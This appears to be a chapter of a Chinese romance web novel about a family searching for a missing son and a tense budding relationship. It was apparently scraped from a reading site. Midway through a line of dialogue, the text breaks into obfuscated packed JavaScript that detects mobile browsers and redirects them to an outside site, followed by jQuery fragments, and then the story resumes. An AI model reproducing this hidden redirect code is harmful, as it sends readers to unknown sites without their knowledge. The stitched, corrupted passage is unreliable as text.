听得夏薇的“嗯”，叶长青长舒一口气。


    叮嘱先回海城来，直升机的呼啦啦声传进听筒，他道一声“万事小心”挂了电话。


    把陌生手机号发给全教练去查，不一会，全教练告知是楚浩然的手机号。


    叶长青冷笑道：“把夏薇当普通女子，大错特错。查到风儿的消息了吗？”


    “警方已经在查监控，估计还要一会。估摸经过平城地段的时候，被俘。”


    “高速路被俘，只有在服务区。你说风儿会在哪个服务区上洗手间？”


    “少爷一定心急见少夫人。正常情况下，三小时上一次小便。少爷应该会在海城到茂城的中间位置，平城的思乡亭服务区。不过那是个小站，不知道少爷看不看得上。”


    “都要亲自开车去接，还有什么看不上？”不逞能，直接问他要直升机去，这时候都把人接回来了。“他再心急，也憋不住厕所。小站刚好人少，不用排队停车，节省时间。”


    “如果确实是思乡亭，那您的迈巴赫应该就停在服务区的停车场。”


    “问问服务区，查查。”


    “是。”全教练当即出办公室。


    等门关上，叶长青捏捏眉心，照全教练给的夏鸣号码拨过去。


    电话很快拨通，一阵不耐烦的嚷嚷随之响起：“说了你打错了，我不认识你，不喝喜酒！”嘟一下挂了电话。


    叶长青蹙蹙眉，看看通话结束的屏幕，回拨。是个沉不住气的人。谁女儿嫁过去，铁定没幸福日子。


    嘟，嘟，嘟——


    “你听不懂人话是吧？不随礼不随礼，别再打来了！MD，害我姐姐电话打不进来，你就死定了！”


    “没打错，我是文晨的爸爸。”


    “谁，谁爸？”


    “文晨。”


    电话即刻寂静。好一会，夏鸣才道：“您，您好，一直有一个骚扰电话打来，我以为……抱歉，我不知道是您的电话。”


    “没关系。你现在方便来一趟我办公室吗？”


    “现在吗？”


    “不方便？”


    “方便是方便，但叶风让我在高速路口等周文带我姐回来。”谁要去您办公室？肯定刁我一顿。


    “不用等了，薇薇已经在直升机回来的路上。”叶长青望一眼西山的红艳夕阳，“应该能赶上晚饭，你现在过来，我们可以一起用餐。”


    “哦好……那我现在过去。”


    “让小李送你过来。有急事，不要耽搁。”


    “哦……”


    等叶长青挂了电话，夏鸣看看后视窗外的商务车，对李保镖说：“你们大老板让你送我过去他办公室。”


    “大老板？”李保镖有些疑惑。


    夏鸣给他看刚通过话的手机号。


    “董事长？”


    夏鸣点头。


    “稍等一会，我去说一声。”李保镖匆匆下车，跑到后边的商务车，对副驾驶的练教练说了几句话，又匆匆跑回。


    夏鸣犹豫要不要给文晨打个电话说一声，李保镖已掉头大奔，往叶氏集团大楼去。


    车速很快，追着下山的夕阳。夏鸣放下遮阳板，挡住刺眼阳光，心口怦咚怦咚。


    “你们董事长找我干嘛？”


    李保镖摇头：“我没接到通知。应该是有很重要的急事，不然董事长不会亲自打电话。”


    “你说文晨知道吗？”


    李保镖看一眼似乎紧张的夏鸣，勾了一下唇角道：“不清楚。”终于有人可以收拾这个纨绔子弟了。想他家少爷白白挨过多少打。


    “应该不知道，我打个电话和她说一声。”


    李保镖想劝最好不要，因为董事长不喜欢瞎安排。如果他想文晨也去，会通知她。


    但夏鸣明显不想听建议，已经拨电话了。他一手听手机，一手搁腿上一会握拳一会伸直。


    电话一直嘟，直到快要通知无人接听，终于被接起。


    “喂？”


    一听见文晨沉着干练的声音，夏鸣顿感心安。


    “是我，夏鸣。”他尽可能稳住紧张得有些打抖的嗓子。


    不是他胆小，是叶长青真可怕。


    只要叶长青出招，一切都会朝着他想要的方向发展。


    姐的婚姻就是。


    不论他怎么阻扰，甚至以为爸铁定不会原谅叶风诱拐姐姐偷拿户口本结婚而拒绝提亲，但叶长青一来，爸不仅同意了，还把他骂一顿。好似他是什么渣男，负了文晨。


    “我知道。有什么事吗？”文晨有些冷淡，似乎心情不佳。


    “你现在在公司吗？”


    “在，但我马上要下班了。你要来找我吗？”


    “对，你可以等我一会再下班吗？”


    “找我什么事？”


    “我姐失踪了，你知道吗？”


    “我等你吧……见面再说。”


    “好，我正在过去，大概半小时到，你能到楼下大门口等我吗？”


    “可以。”


    “好，谢谢。先挂了哈。”


    夏鸣呼出一口长气。和文晨一起去，叶长青应该不会刁得太难看。


    文晨站在集团大楼的落地窗前，望了望陆续下班走出大门的员工，拨打叶风的电话。


    “对不起，您拨打的电话已关机……”


    文晨蹙眉，看了看手机屏幕，确定没打错电话。


    夏薇还没回来，叶风的手机怎么可能关机？没电了吗？


    文晨拨李保镖电话。


    “晨小姐？”李保镖瞄一眼竖起耳朵听的夏鸣。


    “小风和你在一起吗？”


    “少爷去接少夫人了，我和夏公子在一起。”


    “夏鸣？”


    “是的。我正送他去集团。”


    “你为什么和他在一起？”


    “少爷让我们分头行事，为迎接少夫人回家。”


    “你让夏鸣接电话。”


    不一会，夏鸣的声音响起：“是我。”


    “你为什么来找我？说实话，我很忙。”爸让她不要透露给夏鸣，夏鸣却早知道夏薇失踪，早和叶风在一块谋划了？


    怎么感觉回国了脑子变木了？怎么大家都在瞒她呢？


    “你爸让我去他办公室……”


    “我爸？”他不是不待见夏鸣吗？找他做什么？


    “嗯，他刚给我打的电话，让我马上过去，说有急事。”


    “知道了，挂了。”说完就挂。


    夏鸣盯着结束通话的屏幕，不知怎地感觉文晨离自己远了些。不是，他们重来没有近过，哪里来的远一说。


    是神经过于紧张了。有什么大不了，不过就是见一下姐姐的夫家而已。


    “小李，你说会是什么急事？”


    “我应该比你大。夏公子，可以喊我名字。李坤。”


    “李坤，你说，”夏鸣盯着黑了屏幕的手机，有些愣神，“你们董事长找我干嘛？”


    “夏公子，这个问题你之前问过了。抱歉，我也不清楚。”


    “哦，那你们董事长说我姐已经坐直升机回来了，是真的吗？”


    “董事长从来说一不二，字字真言。”少夫人已经回来了吗？那少爷呢？开车可没有直升机快呀。谁去接的少夫人？全叔吗？还是博叔？


    “那找我干嘛？”


    “不清楚……”


    “你打个电话问下呗。要没什么事，咋就各自回家吧。”


    “去了就知道了……”


    “你不会不敢打吧？”


    “下属不问上司的命令，是操守。”


    “切，你就是不敢打。”


    “是。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518886|141556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夏公子想知道可以自己问。”


    “……”打就打！


    夏鸣划开手机，拨电话。


    一连拨两遍，都是已关机的提示音，他隐隐不对劲。


    “你家少爷抽什么疯，关什么机？”


    李坤一听赶紧拨叶风电话，发现真关机了，一脚油门，加速驶向集团大楼。


    不可能没电，他看着少爷充满电，就怕没电错过了少夫人可能打来的电话。


    “不用开这么快，我姐都坐直升机回来了，应该没啥急事。”


    李坤不理，油门不松，跑过闪烁黄灯的十字路口。


    紧赶慢赶，赶在夕阳挂山头到了。


    刚驶进门岗，夏鸣就看见站在大楼门前路灯下的文晨。


    一身黑西服裙的她，一手夹烟，一手拿着手机哒哒打字。


    夏鸣先下车，大步过去，抽掉她指缝间的女士香烟。


    文晨抬头，看看被丢进旁边垃圾桶的香烟，涂了石榴色口红的嘴巴笑出白牙：“熄灭了吗？乱丢，会着火的哦。”


    “当然，我还能不知道吗？”夏鸣想问等很久了吗，却又觉得过于亲密。


    她允许他亲吻，却也没多在意，没有多少沉醉的羞涩。每次，她的眼睛都睁得大大的，不知道在看什么。


    反倒是夏鸣，不知道为什么紧张得要闭眼。意识到无能再睁开，就能看见她眼里大大方方的笑意。


    他不确定她是不是初吻，但他是。


    或许是初次与女孩子亲密接触，才会总忍不住想靠近她。


    “你不冷吗？”怎么穿这么少？不是每个女孩子都像他姐那样强悍不怕冷的。


    “车里有衣服。我还有事，先走了。”


    “去哪？”夏鸣拉住转身的文晨，“不一起去你爸的办公室吗？”


    “我爸很好说话，你不用害怕。我有点急事，没法陪你去了。”


    “我不是害怕……我是感觉你爸可能是忘记通知你，可能以为我们刚好在一起……”乱七八糟的借口搅乱思绪。不知怎地，夏鸣不想她离开，不想她独自去消化双眼里闪现的哀伤。


    “我们为什么会刚好在一起呢？我们并没有什么关系不是吗？你不会当亲亲过就有什么关系吧？”她说着咧嘴一笑，狡黠动人，“好弟弟，别缠人，姐姐我要去相亲了。我爸给我安排了对象，第一次相亲可不能迟到呢。”


    手指悠然间失去气力，抓不住近在咫尺的女孩。夏鸣楞楞松手，她毫不犹豫转身就走，与停好车行礼的李保镖擦肩而过微微点头。


    纤细长腿下的高跟鞋，咯噔咯噔踩在心口。夏鸣不明白自己发了什么疯，他只是追随心的驱使，跑上前去拉住文晨。


    “天马上黑了，会冷。”他边说边脱下羽绒服，给文晨披上，“相亲还是穿多点的好，下次穿裤子去吧。”


    “为什么？男人都会像你刚见面就强吻的吗？”


    “那，那是误会。你要不满意，可以强吻回去。”说着脸一红，“我是说我没什么经验……”说完脑袋宕机。这是什么流氓解释？


    文晨噗嗤一声笑道：“那是你的初吻吗？好弟弟可真纯情。看在你干净的份上，我也不计较了。”她说着拢紧肩上的羽绒服，“就拿这件衣服抵个两清吧。”说完与夏鸣擦肩而过。


    夏鸣想拉住她吼一句“我的初吻就值一件衣服”，却见她双眼浮现点点愉悦，话语淹没在自己加剧震动的心跳中。


    她开心了就好。


    橘红色保时捷918轰鸣而去，文晨窝在拉上拉链的男士羽绒服里。


    残留的暖呼呼，飘荡着淡淡的清新皂香。


    暖白色包裹着她一回想起二十年前腊八节母亲的缺席就冰冷的身躯。


    她缓缓踩下油门，驶向孙氏医院。


    二十年了，该了结了。统统都该了结了。